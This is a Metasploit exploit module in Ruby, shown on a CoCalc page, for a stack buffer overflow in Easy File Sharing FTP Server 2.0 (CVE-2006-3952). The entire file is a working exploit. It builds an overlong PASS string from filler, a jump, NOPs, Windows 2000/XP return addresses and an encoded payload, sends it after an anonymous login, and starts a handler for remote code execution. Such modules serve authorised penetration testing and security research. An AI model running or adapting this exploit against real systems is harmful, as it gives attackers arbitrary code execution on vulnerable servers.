CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Ftp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
14
      'Description'    => %q{
15
        This module exploits a stack buffer overflow in the Easy File Sharing 2.0
16
        service. By sending an overly long password, an attacker can execute
17
        arbitrary code.
18
      },
19
      'Author'         => 'MC',
20
      'License'        => MSF_LICENSE,
21
      'References'     =>
22
        [
23
          [ 'CVE', '2006-3952' ],
24
          [ 'OSVDB', '27646' ],
25
          [ 'BID', '19243' ],
26
        ],
27
      'Privileged'     => true,
28
      'DefaultOptions' =>
29
        {
30
          'EXITFUNC' => 'thread',
31
        },
32
      'Payload'        =>
33
        {
34
          'Space'    => 600,
35
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
36
          'StackAdjustment' => -3500,
37
        },
38
      'Platform'       => 'win',
39
      'Targets'        =>
40
        [
41
          [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
42
          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
43
        ],
44
      'DisclosureDate' => '2006-07-31',
45
      'DefaultTarget'  => 0))
46
  end
47

48
  def check
49
    connect
50
    disconnect
51

52
    if (banner =~ /Easy File Sharing FTP Server/)
53
      return Exploit::CheckCode::Detected
54
    end
55
    return Exploit::CheckCode::Safe
56
  end
57

58
  def exploit
59
    connect
60

61
    filler =  rand_text_english(2559) + "\xeb\x12"
62
    filler << make_nops(2) + [target.ret].pack('V')
63

64
    sploit = "\x2c" + filler + payload.encoded
65

66
    print_status("Trying target #{target.name}...")
67

68
    # needs anonymous to be set.
69
    send_cmd(['USER', "anonymous"], true)
70
    send_cmd(['PASS', sploit], false)
71

72
    handler
73
    disconnect
74
  end
75
end
76

77